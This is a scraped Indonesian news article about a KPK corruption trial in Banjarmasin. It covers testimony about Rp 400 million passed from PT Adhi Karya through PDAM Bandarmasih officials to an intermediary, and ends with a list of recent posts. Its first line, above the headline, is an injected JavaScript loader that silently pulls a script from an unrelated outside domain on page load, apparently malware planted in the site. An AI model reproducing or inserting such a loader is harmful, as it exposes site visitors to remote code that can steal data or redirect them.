(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPK Usut Uang Rp 400 Juta yang Terbongkar dari “Nyanyian” Muslih


BANJARMASIN, Fakta baru terbongkar dalam sidang kasus korupsi Raperda Penyertaan Modal PDAM Bandarmasih dengan terdakwa Muslih dan Trensis. Dalam sidang di PN Tipikor Banjarmasin, Kamis (15/12), pernyataan Muslih perihal adanya dana lain, selain uang Rp 150 juta yang yang diterima dari  PT Chindra Santi Pratama (CSP) sebagai pemenang tender proyek pipanisasi tahun 2016. Yakni, adanya uang sebesar Rp 400 juta dari PT Adhi Karya.

Di depan majelis hakim, Muslih mengatakan, uang Rp 400 juta tersebut diserahkan oleh Sumantri , saat dicecar jaksa penuntut umum (JPU) KPK Amir Nor Dianto.dari PT Adhi Karya melalui Manajer Keuangan PDAM, Trensis. Berdasar informasi Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Banjarmasin, Gusti Ridwan Sofyani bahwa akan ada bantuan Kementerian PUPR untuk proyek pipanisasi PDAM Bandarmasin senilai Rp 15 miliar.

Nah, menindalanjuti info tersebut, ujar Muslih, dirinya diminta Gusti Ridwan Sofyani menyiapkan uang Rp 400 juta yang diserahkan kepada seorang perantara bernama Fahri. “Menurut Pak Ridwan, Fahri bisa menguruskan proyek itu ke pemerintah pusat sebagai uang ijon. Jadi uang dari PT Adi Karya itu sebesar Rp 400 juta kemudian diserahkan ke Fahri sebagaimana yang diminta,” ujar Muslih.

Uang tersebut diserahkan secara bertahap oleh salah seorang pejabat PT Adhi Karya bernama Sumantri kepada Fahri sebagaimana permintaan Ridwan Sofyani.

Trensis, selaku manager keuangan PDAM, mengakui adanya uang tersebut. Dia mengatakan, bahwa uang sebasar 400 juta diberikan dalam dua tahap.

“Tahap pertama sebesar Rp 350 juta, kemudian selanjutnya diberikan Rp 50 juta,” katanya.

Uang itu, disebut sebagai jaminan proyek pipanisasi ini akan dilelang pada 2018. Muslih juga mengatakan, perihal jatah 3 persen dari nilai total proyek Rp 15 miliar itu pun berdasar saran Ridwan Sofyani untuk diserahkan ke Fahri sebagai uang panjar ke pejabat pusat.

Nah, saat dicecar Jaksa KPK, Amir Nor Dianto, perihal keberadaan uang Rp 400 juta tersebut, Muslih mengaku tak tahu.

Soal Fahri ini, kabarnya KPK saat ini sedang mengusut yang bersangkutan. Termasuk soal aliran dana sebesar Rp 400 juta dari PT Adhi Karya tersebut. “Kasus ini sedang dikembangkan untuk melacak uang Rp 400 juta yang diserahkan Sumantri dari PT Adhi Karya,” ujar JPU, Ferdian Adi Nugroho, usai sidang.

Sebelunya, sidang kasus Muslih dan Trensis, berlanjut dengan menghadirkan saksi meringankan yang diajukan pembela hukum. Saksi yang diajukan pada sidang yang berlangsung pada Kamis (14/12) di PN Tipikor Banjarmasin, adalah konsultan PDAM se-Indonesia, Audeta, Direktur Eksekutif Persatuan Perusahaan Air Minum Seluruh Indonesia (Perpamsi) Anshari Mardiono, dan Ketua Penasihat Tim Investasi Kota Banjarmasin, Jafri.

Di hadapan majelis hakim yang diketuai Sihar Hamonangan Purba, Audeta mengatakan terdakwa Muslih memiliki dedikasi besar untuk mengembangkan PDAM Bandarmasih sehingga menjadi perusahan air minum yang berprestasi di kancah nasional.

Pun demikian disampaikan Direktur Eksekutif Perpamsi, Anshari Mardiono yang mengatakan kepemimpinan Muslih di PDAM Bandarmasih membawanya menjabat Wakil Ketua Umum Perpamsi. Atas dasar tersebut, dia mengatakan apa yang dilakukan Muslih perlu mendapatkan apresiasi.

Terkait keterangan sejumlah saksi yang meringankan terdakwa tersebut, jaksa KPK Ferdian Adi Nugroho tak mempermasalahkannya. Namun sebelumnya, JPU sempat meminta klarifikasi terhadap saksi yang lain, yakni Yudha Achmadi, selaku  Direktur Operasional PDAM, yang sekarang menjadi Plt PDAM Bandarmasih dan Sopian, Manager SDM PDAM Bandarmasih. (ammar)

 

Reporter : Ammar
Editor : Cella

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.